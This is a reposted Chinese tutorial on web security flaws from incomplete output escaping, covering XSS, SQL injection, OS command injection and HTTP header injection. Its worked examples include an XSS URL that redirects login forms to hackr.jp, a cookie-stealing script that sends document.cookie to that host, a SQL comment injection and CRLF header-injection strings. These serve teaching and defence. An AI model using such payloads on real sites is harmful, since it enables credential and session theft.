HTTP基础10--web(2)

因输出值转义不完全引发的安全漏洞

实施 Web 应用的安全对策可大致分为以下两部分。

  • 客户端的验证

  • Web 应用端(服务器端)的验证: 输入值验证 / 输出值转义

151905303399539.png

  • 客户端允许篡改数据或关闭 JavaScript,不适合将 JavaScript 验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误,起到提高 UI 体验的作用。

  • Web 应用端的输入值验证按 Web 应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。

  • 从数据库或文件系统、HTML、邮件等输出 Web 应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。

跨站脚本攻击

跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的 HTML 标签或 JavaScript 进行的一种攻击。动态创建的 HTML 部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。

跨站脚本攻击有可能造成以下影响。

  • 利用虚假输入表单骗取用户个人信息。

  • 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求。

  • 显示伪造的文章或图片。

跨站脚本攻击案例

  • 在动态生成 HTML 处发生:

151909304489717.png

151910013238651.png

  • XSS 是攻击者利用预先设置的陷阱触发的被动攻击

下图网站通过地址栏中 URI 的查询字段指定 ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。

151911373544582.png

隐藏植入事先准备好的欺诈邮件中或 Web 页面内,诱使用户去点击该 URL。

http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s="

浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入 ID 和密码之后,就会直接发送到攻击者的网站(也就是 hackr.jp),导致个人登录信息被窃取。

151912367928122.png

之后,ID 及密码会传给该正规网站,而接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄露。

除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的 Cookie 信息。

<script src=http://hackr.jp/xss.js></script>

该脚本内指定的 http://hackr.jp/xss.js 文件。即下面这段采用 JavaScript 编写的代码。

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

在存在可跨站脚本攻击安全漏洞的 Web 应用上执行上面这段 JavaScript 程序,即可访问到该 Web 应用所处域名下的 Cookie 信息。然 后这些信息会发送至攻击者的 Web 网站(http://hackr.jp/),记录在他的登录日志中。结果,攻击者就这样窃取到用户的 Cookie 信息了。

151915335113434.png

  • SQL 注入攻击

指针对 Web 应用使用的数据库,通过运行非法的 SQL 而产生的攻击;如果在调用 SQL 语句的方式上存在疏漏,就有可能执行被恶意注入(Injection)非法 SQL 语句。

SQL 注入攻击有可能会造成以下等影响。

  • 非法查看或篡改数据库内的数据

  • 规避认证

  • 执行和数据库服务器业务关联的程序等

SQL 注入攻击案例

下面以某个购物网站的搜索功能为例,讲解 SQL 注入攻击。通过该功能,我们可以将某作者的名字作为搜索关键字,查找该作者的所有著作。

151942216988822.png

  • 正常处理的操作示例

151943559792554.png

URL 的查询字段已指定 q= 上野宣,这个值由 Web 应用传入到 SQL 语句中,构成下方的 SQL 语句。

SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;

该 SQL 语句表示“从 bookTbl 表中,显示满足 author= 上野宣 and flag=1(可售)所在行的数据”。

  • SQL 注入攻击的操作示例

把刚才指定查询字段的上野宣改写成“上野宣'--”。

151945423086503.png

构成的 SQL 语句就变成“从数据库的 bookTbl 表中,显示满足 author= 上野宣条件所在行的数据”,如下所示。

SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;

SQL 语句中的 -- 之后全视为注释。即,and flag=1 这个条件被自动忽略了。

OS 命令注入攻击

指通过 Web 应用,执行非法的操作系统命令达到攻击的目的。倘若调用 Shell 时存在疏漏,就可以执行插入的非法 OS 命令。

HTTP 首部注入攻击

HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式;向首部主体内添加内容的攻击称为 HTTP 响应截断攻击(HTTP Response Splitting Attack);如下所示,Web 应用有时会把从外部接收到的数值,赋给响应首部字段 Location 和 Set-Cookie。

Location: http://www.example.com/a.cgi?q=12345
Set-Cookie: UID=12345*12345就是插入值

HTTP 首部注入攻击有可能会造成以下一些影响。

  • 设置任何 Cookie 信息

  • 重定向至任意 URL

  • 显示任意的主体(HTTP 响应截断攻击)

HTTP 首部注入攻击案例

以选定某个类别后即可跳转至各类别对应页面的功能为例。该功能为每个类别都设定了一个类别 ID 值,一旦选定某类别,就会将该 ID 值反映在响应内的 Location 首部字段内,形如 Location: http://example.com/?cat=101。令浏览器发生重定 向跳转。

152155239958986.png

攻击者以下面的内容替代之前的类别 ID 后发送请求。


**其中,%0D%0A 代表 HTTP 报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp/)的会话 ID 设置成 SID=123456789 的 Set-Cookie 首部字段;发送该请求之后,假设结果返回以下响应。**

Location: http://example.com/?cat=101(%0D%0A :换行符)
Set-Cookie: SID=123456789

**此刻,首部字段 Set-Cookie 已生效,因此攻击者可指定修改任意的 Cookie 信息。通过和会话固定攻击(攻击者可使用指定的会话 ID)攻击组合,攻击者可伪装成用户;攻击者输入的 %0D%0A,原本应该属于首部字段 Location 的查询值部分,但经过解析后,%0D%0A 变成了换行符,结果插入了新的首部字段;这样一来,攻击者可在响应中插入任意的首部字段。**###HTTP 响应截断攻击###**HTTP 响应截断攻击是用在 HTTP 首部注入的一种攻击。攻击顺序相同,但是要将两个 %0D%0A%0D%0A 并排插入字符串后发送。利用这两个连续的换行就可作出 HTTP 首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做 HTTP 响应截断攻击。**

%0D%0A%0D%0A

之后,想要显示的网页内容 <!--
**在可能进行 HTTP 首部注入的环节,通过发送上面的字符串,返回结果得到以下这种响应。**

Set-Cookie: UID=(%0D%0A :换行符)
(%0D%0A :换行符)

之后,想要显示的网页内容 <!--(原来页面对应的首部字段和主体部分全视为注释)
```
利用这个攻击,已触发陷阱的用户浏览器会显示伪造的 Web 页面,再让用户输入自己的个人信息等,可达到和跨站脚本攻击相同的效果。**

另外,滥用 HTTP/1.1 中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的 Web 网页。

转载于:https://www.cnblogs.com/jinkspeng/p/4292949.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/376219.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单一课和综合课的划分依据_武夷岩茶产地如何划分?

产地是指某种物品的生产、出产或加工制造的地点&#xff0c;日常含义是指某种物品的主要生产地。本文探讨的武夷岩茶种植产地&#xff0c;也就是当地茶人俗称的“山场”。武夷岩茶“山场”的俗称可能缘起于宋代的茶政。宋代官府设置“榷&#xff08;qu&#xff09;茶场”&#…

windows文件路径大于MAX_PATH

如果文件路径大于MAX_PATH&#xff0c;是无法直接用CreatFile、fopen等方法来打开文件 但是可以通过在路径前面加上“\\?\”来获取文件 比如想要打开下面的文件123.txt&#xff0c;但是文件路径是很长的&#xff08;假设…是200个字符&#xff09;&#xff1a; C:\123...\1…

C# 枚举 字符串 转换

普通方法 这种方法尽管很SB但确实可以解决问题 private void comboBox1_SelectedIndexChanged(object sender, EventArgs e){string SelPath "";switch (comboBox1.SelectedIndex){case 0: SelPath System.Environment.GetFolderPath(System.Environment.SpecialFo…

arduino 机器视觉编程_万物皆可仿真的MATLAB/Simulink神奇在哪?解析如何将其应用于一整套机器人设计开发流程...

MATLAB/Simulink&#xff1a;万物皆可仿真 MATLAB是由美国MathWorks公司出品的一款商业数学软件。它是一个多功能的科学计算平台&#xff0c;将算法开发、数据分析、矩阵计算等诸多强大功能集成在一个易于操作的视窗环境中。MATLAB下的Simulink更是被认为可以“仿真任何系统”。…

排序算法(1) 快速排序 C++实现

快速排序基本特性 时间复杂度&#xff1a;O&#xff08;n*lgn&#xff09;最坏&#xff1a;O&#xff08;n^2&#xff09;空间复杂度&#xff1a;最好情况下&#xff1a;O&#xff08;lgn&#xff09;&#xff0c;最坏情况&#xff1a;O(n)&#xff0c;平均情况&#xff1a;O(l…

boost 变量类型转换

如果vs版本比较低&#xff0c;会不支持一些std类型转换函数&#xff08;vs2008就不支持&#xff09;&#xff0c;比如&#xff1a; std::to_string \\数字转字符串 std::stoll \\字符串转数字而且项目碰巧用boost库&#xff0c;可以考虑用下面的的方法来进行类型转换…

PB增删改

新建一个数据窗口----选择需要更新的表&#xff0c;或者直接写sql也可以如下图已经建立好的数据窗口&#xff0c;根据要求将需要更新的列、unigue key 还有需要更新的表设置好&#xff0c;【将需要更新列的taborder设置大于0 这样维护的时候可以编辑&#xff08;等于0是不能编辑…

(五十六)iOS多线程之NSOperation

NSOpertation是一套OC的API&#xff0c;是对GCD进行的Cocoa抽象。 NSOperation有两种不同类型的队列&#xff0c;主队列和自定义队列。 主队列运行于主线程上&#xff0c;自定义队列在后台运行。 【NSBlockOperation】 通过Block创建任务&#xff0c;下面比较主队列和自定义队列…

android 系统源码调试 局部变量值_如何方便快速的整编Android 9.0系统源码?

点击上方“刘望舒”&#xff0c;选择“星标”多点在看&#xff0c;就是真爱&#xff01;作者 : 刘望舒 | 来源 &#xff1a;刘望舒的博客地址&#xff1a;http://liuwangshu.cn/framework/aosp/3-compiling-aosp.html前言在上一篇文章是时候下载Android 9.0系统源码了中&…

boost 文件操作

如果要简单处理文件和文件夹的时候&#xff08;删除、重命名等&#xff09;&#xff0c;使用Windows的系统函数会十分麻烦&#xff0c;可以尝试一下使用Boost库来进行处理 头文件 #include <boost/filesystem.hpp>如果要获得每次处理的结果错误码&#xff0c;需要加上头…

让“是男人就下到100层”在Android平台上跑起来

原工程:https://github.com/jeekun/DownFloors 移植后的代码&#xff1a;HelloCpp.zip 移植后的APK&#xff1a;HelloCpp.apk 说明&#xff1a;&#xff08;cocos2d-x版本是“ 2.2&#xff09; 1.该工程是直接在HelloCpp上修改完成,所以包名也不修改了 2.原工程里面可能是采用g…

Codeforces Round #277 (Div. 2) 题解

Codeforces Round #277 (Div. 2)A. Calculating Functiontime limit per test1 secondmemory limit per test256 megabytesinputstandard inputoutputstandard outputFor a positive integer n lets define a function f: f(n)   - 1  2 - 3  ..  ( - 1)nn Your …

QT 边框圆角处理

平时的边框是平角的&#xff1a; 如果需要圆角的话&#xff0c;就要加stylesheet加上这个&#xff1a; border-radius:3px;比如&#xff1a; QPushButton{ border-radius:3px; }就变成圆角了&#xff1a; px前面的数字越大就越圆&#xff0c;比如5px比3px圆 假如只需要某一…

3级调度 fpga_Vivado HLS学习笔记——1.了解FPGA架构

本篇文章为本人学习Xilinx的Vivado HLS教程记录的学习笔记&#xff0c;仅供学习参考。Vivado HLS官方视频教程&#xff1a;优酷视频​v.youku.com目录&#xff1a; Vivado HLS课程简介FPGA与CPU、GPU、DSP的区别FPGA的优势Xilinx FPGA架构:逻辑单元、算术逻辑单元、存储单元使用…

[LeetCode]Maximum Depth of Binary Tree

Given a binary tree, find its maximum depth. The maximum depth is the number of nodes along the longest path from the root node down to the farthest leaf node. 思考&#xff1a;DFS。 /*** Definition for binary tree* struct TreeNode {* int val;* Tree…

BZOJ2435 [Noi2011]道路修建

这是NOI11年题&#xff0c;你在逗我&#xff1f; 直接dfs就可以了&#xff0c;Linux下貌似不会爆栈。。。 1 /**************************************************************2 Problem: 24353 User: rausen4 Language: C5 Result: Accepted6 Time:5184 …

Qt异常结束程序无法重新运行

有时候代码有问题会导致qt异常结束 修改完后重新运行又会出现 查看任务管理器又没有这个进程 可以使用资源管理器打开看看 也可以考虑使用process explorer查看 发现程序挂起来&#xff0c;结束掉它就可以重新运行了

hadooppythonsql_半小时搞定Hadoop+Mysql+Hive+Python

1. 说明搭建过Hadoop集群的小伙伴一定知道&#xff0c;如果不用docker&#xff0c;半小时配好HadoopMysqlHive(后简称Hive)肯定是胡吹&#xff0c;有了Docker镜像&#xff0c;没有说明文档&#xff0c;配好了也不一定会用。本文将介绍如何在半小时内&#xff0c;让Hive在你的Li…

PHP 切割字符串 点号 不用双斜杠

$name "tupian.png"; $nameArr explode(".", $name); 习惯了Java的程序员容易写成 $nameArr explode("\\.", $name);//在PHP中是不正确的转载于:https://www.cnblogs.com/wuyou/p/3463425.html

Qt新添加的类无法链接

通过这个方法给工程添加了个类&#xff1a; 编译的时候就出现了这个问题&#xff1a; 执行一下qmake 然后再重新构建项目就可以了